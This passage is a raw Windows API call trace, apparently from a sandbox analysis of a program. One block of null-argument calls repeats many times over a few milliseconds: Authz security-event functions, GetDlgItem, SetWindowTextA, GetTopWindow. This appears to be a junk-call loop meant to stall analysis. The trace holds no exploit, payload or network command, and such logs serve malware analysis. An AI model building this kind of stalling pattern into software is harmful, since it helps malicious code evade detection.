dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.709] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.709] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.709] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.709] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.709] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.709] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.709] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.709] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.710] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.710] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.710] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.710] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.710] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.710] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.710] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.710] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.710] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.710] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.710] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.711] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.711] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.711] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.711] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.711] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.711] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.711] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.711] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.711] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.711] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.711] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.712] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.712] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.712] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.712] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.712] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.712] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.712] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.712] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.712] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.712] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.712] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.713] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.713] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.713] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.713] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.713] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.713] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.713] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.713] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.713] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.713] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.713] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.713] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.714] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.714] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.714] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.714] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.714] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.714] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.714] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.714] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.714] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.714] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.715] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.715] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.715] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.715] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.715] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.715] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.715] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.715] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.715] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.715] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.715] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.715] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.715] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.716] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 